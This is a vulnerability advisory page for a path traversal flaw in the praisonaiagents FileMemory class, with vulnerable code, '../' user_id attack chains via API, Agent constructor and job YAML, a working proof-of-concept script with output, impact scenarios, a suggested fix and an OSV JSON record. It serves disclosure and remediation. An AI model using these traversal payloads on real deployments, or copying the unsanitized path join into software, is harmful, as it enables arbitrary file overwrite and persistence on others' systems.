GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-3902

Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02
VLAI
Details

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)

# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
    f = TARGET / fname
    if f.exists():
        print(f"WRITTEN: {f}")
        print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main):

WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

  • Any application that creates FileMemory instances with user-controlled user_id
  • Any PraisonAI deployment where users can supply the user_id parameter directly or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)

High-impact scenarios:

  1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

  2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

  3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

  4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

  5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

GHSA-766v-q9x3-g744 This finding
File examples/context/12_multi_agent_context.py (example) praisonaiagents/memory/file_memory.py (core library)
Class MultiAgentMonitor FileMemory
Fixed in praisonaiagents >= 1.5.115 Not patched (affects 1.6.52)

---

## Remediation Suggestion (for maintainers)

Validate and resolve `user_id` before using it in path construction:

```python
def __init__(self, user_id: str = "default", base_path=None, ...):
    ...
    # ADDED: sanitize user_id
    import re
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
        raise ValueError(
            f"user_id '{user_id}' contains invalid characters. "
            f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
        )

    self.user_path = self.base_path / user_id

    # ADDED: verify the resolved path is within base (defense-in-depth)
    resolved = self.user_path.resolve()
    base_resolved = self.base_path.resolve()
    try:
        resolved.relative_to(base_resolved)
    except ValueError:
        raise ValueError(
            f"user_id '{user_id}' would write outside the base memory directory."
        )

The same pattern should be applied to base_path parameter.

Impacted products
Name purl
praisonaiagents pkg:pypi/praisonaiagents

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents",
        "purl": "pkg:pypi/praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.100",
        "0.0.101",
        "0.0.102",
        "0.0.103",
        "0.0.104",
        "0.0.105",
        "0.0.106",
        "0.0.107",
        "0.0.108",
        "0.0.109",
        "0.0.11",
        "0.0.110",
        "0.0.111",
        "0.0.112",
        "0.0.113",
        "0.0.114",
        "0.0.115",
        "0.0.116",
        "0.0.117",
        "0.0.118",
        "0.0.119",
        "0.0.12",
        "0.0.120",
        "0.0.121",
        "0.0.122",
        "0.0.123",
        "0.0.124",
        "0.0.125",
        "0.0.126",
        "0.0.127",
        "0.0.128",
        "0.0.129",
        "0.0.13",
        "0.0.130",
        "0.0.131",
        "0.0.132",
        "0.0.133",
        "0.0.134",
        "0.0.135",
        "0.0.136",
        "0.0.137",
        "0.0.138",
        "0.0.139",
        "0.0.14",
        "0.0.140",
        "0.0.141",
        "0.0.142",
        "0.0.143",
        "0.0.144",
        "0.0.145",
        "0.0.146",
        "0.0.147",
        "0.0.148",
        "0.0.149",
        "0.0.15",
        "0.0.150",
        "0.0.151",
        "0.0.152",
        "0.0.153",
        "0.0.154",
        "0.0.155",
        "0.0.156",
        "0.0.157",
        "0.0.158",
        "0.0.159",
        "0.0.16",
        "0.0.160",
        "0.0.161",
        "0.0.162",
        "0.0.163",
        "0.0.164",
        "0.0.165",
        "0.0.166",
        "0.0.167",
        "0.0.168",
        "0.0.169",
        "0.0.17",
        "0.0.170",
        "0.0.171",
        "0.0.172",
        "0.0.173",
        "0.0.174",
        "0.0.175",
        "0.0.176",
        "0.0.177",
        "0.0.178",
        "0.0.179",
        "0.0.18",
        "0.0.180",
        "0.0.181",
        "0.0.182",
        "0.0.183",
        "0.0.184",
        "0.0.185",
        "0.0.187",
        "0.0.188",
        "0.0.189",
        "0.0.19",
        "0.0.190",
        "0.0.191",
        "0.0.192",
        "0.0.193",
        "0.0.194",
        "0.0.195",
        "0.0.196",
        "0.0.197",
        "0.0.198",
        "0.0.199",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.51",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.6",
        "0.0.60",
        "0.0.61",
        "0.0.62",
        "0.0.63",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.75",
        "0.0.76",
        "0.0.77",
        "0.0.78",
        "0.0.79",
        "0.0.8",
        "0.0.80",
        "0.0.81",
        "0.0.82",
        "0.0.83",
        "0.0.84",
        "0.0.85",
        "0.0.86",
        "0.0.87",
        "0.0.88",
        "0.0.89",
        "0.0.9",
        "0.0.90",
        "0.0.91",
        "0.0.92",
        "0.0.93",
        "0.0.94",
        "0.0.95",
        "0.0.96",
        "0.0.97",
        "0.0.98",
        "0.0.99",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.2",
        "0.1.20",
        "0.1.21",
        "0.1.22",
        "0.1.23",
        "0.1.24",
        "0.1.25",
        "0.1.26",
        "0.1.27",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.10.0",
        "0.10.1",
        "0.10.10",
        "0.10.2",
        "0.10.3",
        "0.10.4",
        "0.10.5",
        "0.10.6",
        "0.10.7",
        "0.10.8",
        "0.10.9",
        "0.11.0",
        "0.11.1",
        "0.11.10",
        "0.11.11",
        "0.11.12",
        "0.11.13",
        "0.11.14",
        "0.11.15",
        "0.11.16",
        "0.11.17",
        "0.11.18",
        "0.11.19",
        "0.11.2",
        "0.11.20",
        "0.11.21",
        "0.11.22",
        "0.11.23",
        "0.11.24",
        "0.11.25",
        "0.11.27",
        "0.11.28",
        "0.11.29",
        "0.11.3",
        "0.11.30",
        "0.11.31",
        "0.11.4",
        "0.11.5",
        "0.11.6",
        "0.11.7",
        "0.11.8",
        "0.11.9",
        "0.12.0",
        "0.12.1",
        "0.12.10",
        "0.12.11",
        "0.12.12",
        "0.12.13",
        "0.12.14",
        "0.12.15",
        "0.12.16",
        "0.12.17",
        "0.12.18",
        "0.12.19",
        "0.12.2",
        "0.12.20",
        "0.12.21",
        "0.12.3",
        "0.12.4",
        "0.12.5",
        "0.12.6",
        "0.12.7",
        "0.12.8",
        "0.12.9",
        "0.13.0",
        "0.13.1",
        "0.13.10",
        "0.13.11",
        "0.13.12",
        "0.13.13",
        "0.13.14",
        "0.13.15",
        "0.13.16",
        "0.13.17",
        "0.13.18",
        "0.13.19",
        "0.13.2",
        "0.13.20",
        "0.13.21",
        "0.13.22",
        "0.13.23",
        "0.13.3",
        "0.13.4",
        "0.13.5",
        "0.13.6",
        "0.13.7",
        "0.13.8",
        "0.13.9",
        "0.14.0",
        "0.14.1",
        "0.14.10",
        "0.14.11",
        "0.14.12",
        "0.14.14",
        "0.14.15",
        "0.14.16",
        "0.14.2",
        "0.14.3",
        "0.14.4",
        "0.14.5",
        "0.14.6",
        "0.14.7",
        "0.14.8",
        "0.14.9",
        "0.15.0",
        "0.15.1",
        "0.15.2",
        "0.15.3",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.4.0",
        "0.4.1",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.6.7",
        "0.6.8",
        "0.7.0",
        "0.7.1",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "0.9.1",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.2.4",
        "1.3.0",
        "1.3.1",
        "1.4.0",
        "1.4.1",
        "1.4.2",
        "1.4.3",
        "1.4.4",
        "1.4.5",
        "1.4.6",
        "1.4.7",
        "1.4.8",
        "1.5.0",
        "1.5.1",
        "1.5.10",
        "1.5.100",
        "1.5.101",
        "1.5.102",
        "1.5.103",
        "1.5.104",
        "1.5.105",
        "1.5.106",
        "1.5.107",
        "1.5.108",
        "1.5.109",
        "1.5.11",
        "1.5.110",
        "1.5.111",
        "1.5.112",
        "1.5.113",
        "1.5.114",
        "1.5.115",
        "1.5.116",
        "1.5.117",
        "1.5.118",
        "1.5.119",
        "1.5.12",
        "1.5.120",
        "1.5.121",
        "1.5.122",
        "1.5.123",
        "1.5.124",
        "1.5.125",
        "1.5.126",
        "1.5.127",
        "1.5.128",
        "1.5.129",
        "1.5.13",
        "1.5.130",
        "1.5.131",
        "1.5.132",
        "1.5.133",
        "1.5.134",
        "1.5.135",
        "1.5.136",
        "1.5.137",
        "1.5.138",
        "1.5.139",
        "1.5.14",
        "1.5.140",
        "1.5.141",
        "1.5.142",
        "1.5.143",
        "1.5.144",
        "1.5.145",
        "1.5.146",
        "1.5.147",
        "1.5.148",
        "1.5.149",
        "1.5.15",
        "1.5.16",
        "1.5.17",
        "1.5.18",
        "1.5.19",
        "1.5.2",
        "1.5.20",
        "1.5.21",
        "1.5.22",
        "1.5.23",
        "1.5.24",
        "1.5.25",
        "1.5.26",
        "1.5.27",
        "1.5.28",
        "1.5.29",
        "1.5.3",
        "1.5.30",
        "1.5.31",
        "1.5.32",
        "1.5.33",
        "1.5.34",
        "1.5.35",
        "1.5.36",
        "1.5.37",
        "1.5.38",
        "1.5.39",
        "1.5.40",
        "1.5.41",
        "1.5.42",
        "1.5.43",
        "1.5.44",
        "1.5.45",
        "1.5.46",
        "1.5.47",
        "1.5.48",
        "1.5.49",
        "1.5.5",
        "1.5.50",
        "1.5.51",
        "1.5.52",
        "1.5.53",
        "1.5.54",
        "1.5.55",
        "1.5.56",
        "1.5.57",
        "1.5.58",
        "1.5.59",
        "1.5.6",
        "1.5.60",
        "1.5.61",
        "1.5.62",
        "1.5.63",
        "1.5.64",
        "1.5.65",
        "1.5.66",
        "1.5.67",
        "1.5.68",
        "1.5.69",
        "1.5.7",
        "1.5.70",
        "1.5.71",
        "1.5.72",
        "1.5.73",
        "1.5.74",
        "1.5.75",
        "1.5.76",
        "1.5.77",
        "1.5.78",
        "1.5.79",
        "1.5.8",
        "1.5.80",
        "1.5.81",
        "1.5.82",
        "1.5.83",
        "1.5.84",
        "1.5.85",
        "1.5.86",
        "1.5.87",
        "1.5.88",
        "1.5.89",
        "1.5.9",
        "1.5.90",
        "1.5.91",
        "1.5.92",
        "1.5.93",
        "1.5.94",
        "1.5.95",
        "1.5.96",
        "1.5.97",
        "1.5.98",
        "1.5.99",
        "1.6.1",
        "1.6.10",
        "1.6.11",
        "1.6.12",
        "1.6.13",
        "1.6.14",
        "1.6.15",
        "1.6.16",
        "1.6.17",
        "1.6.18",
        "1.6.19",
        "1.6.2",
        "1.6.20",
        "1.6.21",
        "1.6.22",
        "1.6.23",
        "1.6.24",
        "1.6.25",
        "1.6.26",
        "1.6.27",
        "1.6.28",
        "1.6.29",
        "1.6.3",
        "1.6.30",
        "1.6.31",
        "1.6.32",
        "1.6.33",
        "1.6.34",
        "1.6.35",
        "1.6.36",
        "1.6.37",
        "1.6.38",
        "1.6.39",
        "1.6.4",
        "1.6.40",
        "1.6.41",
        "1.6.42",
        "1.6.43",
        "1.6.44",
        "1.6.45",
        "1.6.46",
        "1.6.47",
        "1.6.48",
        "1.6.5",
        "1.6.50",
        "1.6.51",
        "1.6.52",
        "1.6.53",
        "1.6.54",
        "1.6.55",
        "1.6.56",
        "1.6.57",
        "1.6.6",
        "1.6.7",
        "1.6.8",
        "1.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55527",
    "GHSA-gxmw-5f7x-6g22"
  ],
  "details": "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id      # LINE 145 \u2014 no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code \u2014 `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n    self,\n    user_id: str = \"default\",\n    base_path: Optional[str] = None,\n    ...\n):\n    ...\n    self.user_path = self.base_path / user_id          # LINE 145 \u2014 NO SANITIZATION\n    self.episodic_path = self.user_path / \"episodic\"\n\n    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path\n    self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n    self.config_file      = self.user_path / \"config.json\"\n    self.short_term_file  = self.user_path / \"short_term.json\"\n    self.long_term_file   = self.user_path / \"long_term.json\"\n    self.entities_file    = self.user_path / \"entities.json\"\n    self.summaries_file   = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference \u2014 `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r\u0027^[a-zA-Z0-9_]+$\u0027, table_name):\n    raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A \u2014 Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json  (on Linux)\n# Creates C:\\evil\\short_term.json    (on Windows)\n```\n\n*B \u2014 Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n    name=\"assistant\",\n    memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n    instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C \u2014 Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n  researcher:\n    memory:\n      provider: file\n      user_id: \"../../tmp/evil\"\n    role: \"Research assistant\"\n    goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents \u003c= 1.6.52`\n\n**Step 1 \u2014 Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n    user_path.resolve().relative_to(base.resolve())\n    print(\"SAFE\")\nexcept ValueError:\n    print(\"!!PATH ESCAPES BASE!!\")\n    print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: \u003cTMPDIR\u003e/tmp/evil_escape\n```\n\n**Step 2 \u2014 Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n    f = TARGET / fname\n    if f.exists():\n        print(f\"WRITTEN: {f}\")\n        print(f\"Content: {json.loads(f.read_text())[0][\u0027content\u0027] if fname != \u0027config.json\u0027 else \u0027...\u0027}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n  or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n   in a world-writable or user-writable path, JSON files can be written over package\n   files, causing import failures or (in edge cases) execution if a JSON parser is\n   swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n   to an app\u0027s configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n   (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n   by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n   filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n   users can create agents with custom memory configs, one user can read/overwrite\n   another user\u0027s memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents \u003e= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n    ...\n    # ADDED: sanitize user_id\n    import re\n    if not re.match(r\u0027^[a-zA-Z0-9_\\-\\.]+$\u0027, user_id):\n        raise ValueError(\n            f\"user_id \u0027{user_id}\u0027 contains invalid characters. \"\n            f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n        )\n\n    self.user_path = self.base_path / user_id\n\n    # ADDED: verify the resolved path is within base (defense-in-depth)\n    resolved = self.user_path.resolve()\n    base_resolved = self.base_path.resolve()\n    try:\n        resolved.relative_to(base_resolved)\n    except ValueError:\n        raise ValueError(\n            f\"user_id \u0027{user_id}\u0027 would write outside the base memory directory.\"\n        )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
  "id": "PYSEC-2026-3902",
  "modified": "2026-09-10T11:02:28.494024Z",
  "published": "2026-09-10T09:44:55.050170Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-gxmw-5f7x-6g22"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55527"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` \u2014 path traversal to any writable location"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…